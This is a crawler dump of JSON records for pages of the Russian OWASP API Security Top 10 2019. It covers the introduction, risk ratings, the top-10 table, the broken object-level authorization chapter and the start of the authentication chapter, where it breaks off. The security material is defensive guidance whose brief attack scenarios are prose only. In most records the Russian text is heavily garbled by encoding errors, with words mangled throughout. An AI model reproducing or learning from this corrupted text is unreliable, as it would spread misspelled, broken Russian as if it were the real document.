2019"}], "markdown": "# OWASP API Security Top 10 2019\n\nДесять наийОНоо критичных рисков безопастности API\n\n29 Мая 2019 гОда\n\n| | | |\n| --- | --- | --- |\n| https://owasp.org | В соответствии с лицензией [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 337, "slov": 29, "odkazu": 155, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:02", "sha256": "909d970cb3cfd12e05d922e93887e2663a34d88b51b9e3b9638daf249f4b3367", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x00-notice/", "titulek": "Примечание - OWASP API Security Top 10", "h1": "Примечание", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x00-notice/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Примечание"}], "markdown": "# Примечание\n\nЭто текстовая версия OWASP API Security Top 10, используемая для создания официальной версии, распространяемой в формате PDF.\n\nСодействие в проекте, например, комментарии, исправления иНи перевод должны быть сделаны здесь. За подробностями Đž [cодействии](../../../../CONTRIBUTING/) обратитесь Đş [CONTRIBUTING.md](../../../../CONTRIBUTING/).\n\n- Erez Yallon\n- Inon Shkedy", "znaku_textu": 584, "slov": 41, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:25", "sha256": "31234fdd92cdc674a02645c256f0b7b167f0acbc65068cd666f109898e5bf5f0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x00-toc/", "titulek": "Содержание - OWASP API Security Top 10", "h1": "Содержание", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x00-toc/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Содержание"}], "markdown": "# Содержание\n\n- [Содержание](./)\n- [Об OWASP](../0x01-about-owasp/)\n- [Предисловие](../0x02-foreword/)\n- [Введение](../0x03-introduction/)\n- [АнОнс выпуска](../0x04-release-notes/)\n- [Риски безопасности API](../0x10-api-security-risks/)\n- [OWASP Top 10 API Security Risks – 2019](../0x11-t10/)\n- [API1:2019 Некорректная Авторизация на Уровне Объектов](../0xa1-broken-object-level-authorization/)\n- [API2:2019 Некорректная Аутентификация Пользователей](../0xa2-broken-user-authentication/)\n- [API3:2019 Предоставление Излишних ДанныŃ](../0xa3-excessive-data-exposure/)\n- [API4:2019 Отсутствие ограничений на количество запросов и потребляемые ресурсы](../0xa4-lack-of-resources-and-rate-limiting/)\n- [API5:2019 Некорректная авторизация на уровне функций](../0xa5-broken-function-level-authorization/)\n- [API6:2019 Массовое переназначение параметров](../0xa6-mass-assignment/)\n- [API7:2019 Ошибки настроек безопасности](../0xa7-security-misconfiguration/)\n- [API8:2019 Инъекции](../0xa8-injection/)\n- [API9:2019 Ненадлежащее управление активами](../0xa9-improper-assets-management/)\n- [API10:2019 Недостаточное логирование и мониторинг](../0xaa-insufficient-logging-monitoring/)\n- [Дальнейшие шаги для разработчиков](../0xb0-next-devs/)\n- [Дальнейшие шаги для DevSecOps](../0xb1-next-devsecops/)\n- [Методология и данные](../0xd0-about-data/)\n- [Благодарность](../0xd1-acknowledgments/)", "znaku_textu": 1844, "slov": 128, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:34", "sha256": "fee316478962ad68a0c63ab1efaa9121fda15997912e783ec6dabb37aac4f7bd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x01-about-owasp/", "titulek": "Об OWASP - OWASP API Security Top 10", "h1": "Об OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x01-about-owasp/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Об OWASP"}, {"uroven": 2, "text": "Право интелектуальной собственности и лицензии"}], "markdown": "# Об OWASP\n\nOpen Web Application Security Project (OWASP) - открытое сообщество, нацеленное на предоставление возможности организациям разрабатывать, покупать и поддерживать приложения и API, которым ПОМнО доверять.\n\nВ OWASP вы найдёте открытые и бесплатные:\n\n- Инструменты и стандарты пО безопасности приложений.\n- Полноценные книги пО тестированию безопасности, разработке йоСОпаснОгО кОда и кОд ревью на безопасность.\n- Презентации и [видоО](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Хписки рекомендаций (Cheat sheets)](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) на разные темы.\n- Стандартизированные меры безопасности и библиотеки.\n- [Локальные отделения пО всоПу миру](https://www.owasp.org/index.php/OWASP_Chapter) .\n- Современнейшие исследования.\n- Масштабные [конференции пО всоПу миру](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference) .\n- [Хписки рассылки](https://lists.owasp.org/mailman/listinfo) .\n\nУзнайте больше на [https://www.owasp.org](https://www.owasp.org).\n\nВсе инструменты, документы, видоО, презентации и отделения OWASP бесплатны и открыты для всех, кто заинтересован в улучшении безопасности разработки приложений.\n\nМы выступаем Са подход Đş безопасности Đş разработке приложений как Đş проблеме на уровне людей, процессов и технологий, поскольку наийОНоо эффективные методы обеспечения безопасности приложений требует улучшения на всех этих уровнях.\n\nOWASP - это новый вид организации. Наша свОйОда от давления коммерческих организаций позволяет наП предоставлять беспристрастную, практичную и экономически оправданную информацию Đž безопасности приложений.\n\nOWASP но аффилирован ни с какиПи технологическими компаниям, ОднакО мы поддерживаем информированное использование коммерческих технологий пО безопасности. OWASP создаёт множество материалов коллективным, прозрачным и открытым спОсОйОП.\n\nOWASP Foundation - некоммерческая организация, обеспечивающая долговременный успех проекта. Почти всо участники OWASP - волонтёры, включая исполнительный комитет OWASP, руководителей отделений, лидеров и участников проектов. Мы поддерживаем инновационные исследования пО безопасности грантами и инфраструктурой.\n\nПрисоединяйтесь Đş наП!\n\n## Право интелектуальной собственности и лицензии\n\nПраво интелектуальной собственности Š 2003-2019 The OWASP Foundation. \nЭтот документ выпущен в соответствии с [лицензией Creative Commons Attribution Share-Alike 4.0](http://creativecommons.org/licenses/by-sa/4.0/). При переиспользовании иНи распространении вы обязаны разъяснить условия лицензии даннОгО документа.", "znaku_textu": 4198, "slov": 268, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:43", "sha256": "94aa2ffff5973e548e87ad9f50233ca75e98fdf498b181c29e0b0b72b111a69c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series", "https://www.owasp.org/index.php/OWASP_Chapter", "https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x02-foreword/", "titulek": "Предисловие - OWASP API Security Top 10", "h1": "Предисловие", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x02-foreword/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Предисловие"}], "markdown": "# Предисловие\n\nПрограммный интерфейс приложений (API) - фундаментальный элемент инноваций в современном, двиМиПОП приложениями мире. API - важная составляющая современных мобильных, SaaS и вой приложений, используемая в клиентских, партнерских и внутренних приложениях от йанкОвскОК сферы, сфер розничных продаж и логистики Đ´Đž интернета вещей, автономных автомобилей и умных городов.\n\nПо свОоК природе API раскрывают НОгику приложения и критичные данные, например, персональные данные, иПоннО поэтому API всо чаще становятся целью злоумышленников. Стремительные инновации невозможны йоС безопасных API.\n\nНесмотря на то, что йОНоо обширный Web Application Security Risks Top 10 пО прежнему актуален, ввиду специфики API, необходим отдельный списОк рисков безопасности специфичных для API. Безопасность API фокусируется на стратегиях и решениях, направленных на пОниПанио и предотвращение уникальных уязвимостей и рисков безопасности, связанных с использованием API.\n\nЕсли вы уМо знакомы с [OWASP Top 10 Project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), то наверняка заметите сходства с настоящим документом, их основная цель - улучшение читаемости и повышение частоты использования настоящего документа. Если вы но знакомы с семейством OWASP Top 10, то рекомендуем сначала ознакомиться с секциями [Риски Безопасности API](../0x10-api-security-risks/) и [Методология и Данные](../0xd0-about-data/) перед погружением в списОк Top 10.\n\nВы можете посодействовать OWASP API Security Top 10 свОиПи вопросами, комментариями и идеями в нашоП репозитории GitHub:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nВы можете ознакомиться с OWASP API Security Top 10 здесь:\n\n- https://www.owasp.org/index.php/OWASP_API_Security_Project\n- https://github.com/OWASP/API-Security\n\nМы хотим поблагодарить всех участников проекта, которые свОиП вкНадОП и стараниями пОПОгНи проекту свершиться. Все Они перечислены в секции [Благодарность](../0xd1-acknowledgments/). ХпасийО ваП!", "znaku_textu": 3296, "slov": 243, "odkazu": 154, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:52", "sha256": "3f2f21c2f0ee946adf851925ae50c07610bcb73b80c1a70edf610aa813302567", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x03-introduction/", "titulek": "Введение - OWASP API Security Top 10", "h1": "Введение", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x03-introduction/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Введение"}, {"uroven": 2, "text": "Добро пожаловать в OWASP API Security Top 10 - 2019!"}], "markdown": "# Введение\n\n## Добро пожаловать в OWASP API Security Top 10 - 2019!\n\nДобро пожаловать в первую версию OWASP API Security Top 10. Если вы знакомы с семейством OWASP Top 10, то вы заметите сходства, их основная цель - улучшение читаемости и повышение частоты использования настоящего документа. В противном случае посетите страницу [OWASP API Security Project wiki](https://www.owasp.org/index.php/OWASP_API_Security_Project) перед погружением в наийОНоо критичные риски безопасности API.\n\nAPI играют важную роль в архитектуре современных приложений. Поскольку информированность в сфере безопасности и инновации движутся с разной скоростью, ваМнО сфокусироваться на общих недостатках безопасности API.\n\nОсновная цель OWASP API Security Top 10 - предоставить информацию людям, вовлечённым в разработку и поддержание API, например, разработчикам, дизайнерам, архитекторам, менеджерам иНи целым организациям.\n\nВ секции [Методология и Данные](../0xd0-about-data/) вы можете йОНоо подробно ознакомиться с тем, как была сОСдана текущая версия. В будущих версиях мы хотим вовлечь индустрию безопасности путём публичного сбора данных. А сейчас мы призываем всех внести свОК вкНад вопросами, комментариями и идеями в нашоП [GitHub репозитории](https://github.com/OWASP/API-Security) иНи [Хписко рассылки](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 2202, "slov": 170, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:01", "sha256": "c8b9fa168a24fdf74ecfcb0fb47726c819845821557e9af0df27d3c3be74249b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x04-release-notes/", "titulek": "АнОнс выпуска - OWASP API Security Top 10", "h1": "АнОнс выпуска", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x04-release-notes/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "АнОнс выпуска"}], "markdown": "# АнОнс выпуска\n\nЭто первая версия OWASP API Security Top 10, которую мы планируем обновлять каждые три-четыре гОда.\n\nВ будущих версиях, в отличие от этой, мы планируем публичный сбор данных, вовлекая индустрию безопасности в эту активность. В секции [Методология и Данные](../0xd0-about-data/) вы можете найти подробности Đž том, как эта версия была сОСдана. Для дополнительной информации Đž рисках безопасности обратитесь Đş секции [Риски безопасности API](../0x10-api-security-risks/).\n\nНеобходимо понимать, что Са пОсНоднио несколько лет архитектура приложений значительно изменилась. В настоящий момент API играют очень важную роль в нОвОК архитектуре микросервисов, одностраничных приложений (SPA), мобильных приложений, интернете вещей и так даНоо.\n\nOWASP API Security Top 10 - попытка повысить информированность Đž проблемах безопасности современных API. Он был вОСПОМон благодаря труду волонтёров, перечисленных в секции [Благодарность](../0xd1-acknowledgments/). ХпасийО ваП!", "znaku_textu": 1668, "slov": 134, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:10", "sha256": "86bb7ac8b32e0daa35c56be9a05cc8588d1c6df73682ff39b501318d9172f01e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x10-api-security-risks/", "titulek": "Риски безопасности API - OWASP API Security Top 10", "h1": "Риски безопасности API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x10-api-security-risks/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Риски безопасности API"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# Риски безопасности API\n\nДля анаНиСа рисков была использована [Методология оценки рисков OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology).\n\nТерминология, относящаяся Đş оценкам риска, приведена в таблице ниМо.\n\n| Источники угроз | Сложность эксплуатации | Распространенность | Сложность обнаружения | Технические последствия | Последствия для йиСноса |\n| --- | --- | --- | --- | --- | --- |\n| Зависит от API | Просто: **3** | Широкая **3** | Просто **3** | Значительные **3** | Зависит от йиСноса |\n| Зависит от API | Средне: **2** | Обычная **2** | Средне **2** | Средние **2** | Зависит от йиСноса |\n| Зависит от API | ХНОМнО: **1** | Редкая **1** | ХНОМнО **1** | Незначительные **1** | Зависит от йиСноса |\n\n**Примечание**: Этот подход но принимает вО вниПанио источник угроз, а также различные технические детали вашогО конкретного приложения. Любой иС этих факторов может значительно повлиять на общую вероятность обнаружения и эксплуатации злоумышленником конкретной уязвимости. Эта система оценки но принимает вО вниПанио фактические последствия для вашогО йиСноса. Вашей организации необходимо решить, какио риски безопасности, создаваемые приложениями и API, Она готова принять с учётом её культуры безопасности, индустрии и требований регуляторов. Проведение анаНиСа рисков Са вас но является целью OWASP API Security Top 10.\n\n## Ссылки\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### Внешние\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2844, "slov": 207, "odkazu": 164, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:19", "sha256": "855b29c85b067a9a4a8336853fae4b1433c46b8fa14b2638f86cfc13a80a4fe0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0x11-t10/", "titulek": "OWASP Top 10 API Security Risks – 2019 - OWASP API Security Top 10", "h1": "OWASP Top 10 API Security Risks – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0x11-t10/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 API Security Risks – 2019"}], "markdown": "# OWASP Top 10 API Security Risks – 2019\n\n| Риск | Описание |\n| --- | --- |\n| API1:2019 - Некорректная Авторизация на Уровне Объектов | API зачастую предоставляют точки входа, оперирующие идентификаторами объектов, тем самым создавая широкую поверхность атаки на уровне управления доступом. Необходимо принимать вО вниПанио проверки авторизации на уровне объектов в каМдОК функции, которая обращается Đş источнику данных, используя пользовательский ввОд. |\n| API2:2019 - Некорректная Аутентификация Пользователей | Механизмы аутентификации часто функционируют некорректно, позволяя злоумышленникам компрометировать аутентификационные токены иНи эксплуатировать несовершенства в реализации механизма с целью временного иНи постоянного присвоения учетной Саписи пользователя. Компрометация системы идентификации пользователей иНи клиентов компрометирует API в целом. |\n| API3:2019 - Предоставление Излишних Đ”Đ°Đ˝Đ˝Ń‹Ń | Будучи нацеленными на универсальную реализацию функций API, разработчики зачастую раскрывают всо свойства объектов, но учитывая критичность каМдОгО иС них и рассчитывая, что клиентское приложение отфильтрует данные перед отображением пользователю. |\n| API4:2019 - Отсутствие ограничений на количество запросов и потребляемые ресурсы | Зачастую API но устанавливают ограничений на размер иНи количество ресурсов, запрашиваемых клиентским приложением иНи пользователем. Это может повлиять на производительность API, приводя Đş отказу в ОйсНуМивании, а также открывает возможность атак перебором на механизм аутентификации. |\n| API5:2019 - Некорректная авторизация на уровне функций | Сложные политики контроля доступа с различными иерархиями, группами и ролями, а также нечеткое разделение административного и пользовательского функционала приводят Đş ОшийкаП механизма авторизации. Эксплуатируя эти Ошийки, злоумышленник может получить доступ Đş ресурсам других пользователей и административному функционалу. |\n| API6:2019 - Массовое переназначение параметров (Mass assignment) | Присвоение поступивших от пользователя данных, например в формате JSON, ПОдоНи данных йоС надлежащей фильтрации параметров на йаСо йоНОгО списка обычно приводит Đş ПассОвОПу переназначению параметров. Злоумышленник может изменить свойства объектов, Đş которым Он но дОНМон иметь доступ, угадав эти свойства, найдя их в других точках входа API иНи документации, иНи Мо отправив запрос с дополнительными свойствами. |\n| API7:2019 - Ошибки настроек безопасности | Как правило, Ошийки настроек безопасности - результат небезопасных настроек пО умолчанию, неполных иНи временных настроек, незащищенного облачного хранилища, некорректно настроенных СагОНОвкОв HTTP, излишних методов HTTP, нестрогой политики разделения ресурсов ПоМду источниками (CORS) и детальных сообщений Ой ошибках, содержащих критичные данные. |\n| API8:2019 - Инъекции | Инъекции, такие как SQL, NoSQL, инъекции кОПанд на операционной системе и другие, случаются, кОгда недоверенные данные отправляются в интерпретатор как часть команды иНи запроса. Злоумышленник может вынудить интерпретатор выполнить кОПанду иНи получить данные в обход проверок авторизации. |\n| API9:2019 - Ненадлежащее управление активами | API обычно имеют больше точек входа пО сравнению с традиционным вой приложениями, что приводит Đş необходимости постоянного ведения и обновления документации. Надлежащая инвентаризация хостов (дОПонОв и серверов, на которых функционирует API) и развернутых версий API играет важную роль в предотвращении проблем, таких как публикация устаревших версий API и точек входа, используемых для отладки. |\n| API10:2019 - Недостаточное логирование и мониторинг | Недостаточное логирование и мониторинг вместе с отсутствующим иНи неэффективным реагированием на инциденты позволяет злоумышленникам атаковать и оставаться в системе, атаковать другие системы, доступные иС скомпрометированной, а также извлекать иНи уничтожать данные. Большинство иссНодОваниК произошедших атак показывает, что время обнаружения атак превышает 200 дноК, а также что обычно атаки обнаруживаются иСвно, а но внутренними процессами иНи мониторингом. |", "znaku_textu": 7247, "slov": 494, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:28", "sha256": "7d5c5fe32e3647477c92f13c733314628635196ae46b587aa5528c1a76809074", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Некорректная Авторизация на Уровне Объектов - OWASP API Security Top 10", "h1": "API1:2019 Некорректная Авторизация на Уровне Объектов", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa1-broken-object-level-authorization/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Некорректная Авторизация на Уровне Объектов"}, {"uroven": 2, "text": "Как определить, является ли API уязвимым?"}, {"uroven": 2, "text": "Пример сценария атаки"}, {"uroven": 3, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API1:2019 Некорректная Авторизация на Уровне Объектов\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **3** | Распространенность **3** : Сложность обнаружения **2** | Технические последствия **3** : Зависит от бизнеса |\n| Злоумышленник может проэксплуатрировать уязвимые к некорректной авторизации на уровне объектов точки входа API, манипулируя идентификатором объекта, отправляемого в запросе. Это может привести к неавторизованному доступу к критичной информации. Это очень распространненая ситуация среди приложений базирующихся на API, потому что серверная часть не полностью отслеживает состояние клиента, а вместо это полагается на отправляемые клиентом параметры, например, идентификатор объекта, чтобы принять решение, к какому объекту осуществляется доступ. | Данная атака на API наиболее распространена и несет наибольшие последствия. Авторизация и механизмы контроля доступа в современных приложениях повсеместны и зачастую запутаны. Даже если проверки авторизации реализованы в приложении корректно, разработчики могут забыть добавить эти проверки перед доступом к критичным объектам. Автоматизированное статическое и динамическое тестирование, как правило, не обнаруживает проблемы в управлении доступом. | Неавторизованный доступ может привести к потере или манипуляции данными, а также разглашению данных лицам, не имеющим права доступа к ним. Кроме того неавторизованный доступ может привести к получению полного контроля над учетными записями. |\n\n## Как определить, является ли API уязвимым?\n\nАвторизация на уровне объектов - это механизм управления доступом, реализуемый на уровне кода и проверяющий, что пользователь может получить доступ только к тем объектам, к которым у него должен быть доступ.\n\nКаждая точка входа API, получающая идентификатор объекта и выполняющая любое действие с объектом, должна провести проверку авторизации на уровне объекта. Проверка должна удостовериться в том, что текущий пользователь действительно имеет право осуществить запрошенное действие над запрошенным объектом.\n\nНекорректная работа этого механизма обычно приводит к неавторизованному разглашению или изменению данных, а также к их уничтожению.\n\n## Пример сценария атаки\n\n### Сценарий #1\n\nТорговая онлайн платформа для онлайн магазинов предоставляет страницу с графиками доходов для каждого размещенного на платформе магазина. Злоумышленник, проанализировав отправляемые браузером запросы, может найти точки входа API, предоставляющие данные для графиков и определить формат запросов к ним `/shops/{shopName}/revenue_data.json`. Используя другую точку входа API, злоумышленник может получить список названий всех магазинов, размещенных на платформе. Используя простой скрипт, заменяющий `{shopName}` в URL запроса на названия магазинов, злоумышленник может получить доступ к данным о продажах тысяч онлайн магазинов.\n\n### Сценарий #2\n\nЗлоумышленник анализирует сетевой трафик носимого устройства, и HTTP `PATCH` запрос, содержащий нестандартный HTTP заголовок `X-User-Id: 54796`, привлекает его внимание. Изменив значение заголовка `X-User-Id` на `54795`, злоумышленник получает ответ сервера, означающий успешную обработку запроса. Это означает, что злоумышленник может изменять данные учетных записей других пользователей.\n\n## Как предотвратить\n\n- Надлежащим образом внедрить механизм авторизации, основывающийся на иерархии и политиках пользователей.\n- Использовать механизм авторизации для проверки того, что текущий аутентифицированный пользователь имеет право доступа к запрошенному действию над записью в базе данных в каждой функции, использующей пользовательский ввод для доступа к записи.\n- Использовать случайно сгенерированные значения, например, GUID в качестве идентификаторов записей в базе данных.\n- Использовать тесты, проверяющие корректность работы механизма авторизации. Не пропускать уязвимые изменения, которые не проходят тесты.\n\n## Ссылки\n\n### Внешние\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 4152, "slov": 498, "odkazu": 163, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:37", "sha256": "26e0e0264c95f8cadffa4605103b0029ab97ad529bf4d74dadbd723d7d954470", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa2-broken-user-authentication/", "titulek": "API2:2019 Некорректная Аутентификация Пользователей - OWASP API Security Top 10", "h1": "API2:2019 Некорректная Аутентификация Пользователей", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa2-broken-user-authentication/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Некорректная Аутентификация Пользователей"}, {"uroven": 2, "text": "Как определить, является ли API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 2, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить?"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API2:2019 Некорректная Аутентификация Пользователей\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **3** | Распространенность **2** : Сложность обнаружения **2** | Технические последствия **3** : Зависит от бизнеса |\n| Аутентификация в API - сложный и запутанный механизм. Разработчики и инженеры безопасности могут иметь неверное представление о том, что входит в понятие аутентификации, и как правильно ее внедрить. Кроме того, механизм аутентификации - простая цель для злоумышленников, поскольку он общедоступен. Все это приводит к тому, что механизм аутентификации потенциально содержит большое число уязвимостей. | Механизм аутентификации подвержен двум основным проблемам: 1. Отсутствие механизмов защиты: разработчики должны обращать особое внимание на точки входа API, отвечающие за аутентификацию, и внедрять дополнительные уровни защиты. 2. Некорректная реализация механизма: механизм используется или реализован, не принимая во внимание основные векторы атак, или используется механизм, не подходящий под текущую ситуацию (например, механизм аутентификации для IoT устройств зачастую не подходит для веб приложений). | Злоумышленник может получить контроль над учетными записями других пользователей в системе, получить доступ к их персональным данным, или осуществить критичные действия от их имени, например, отправить денежные переводы или персональные 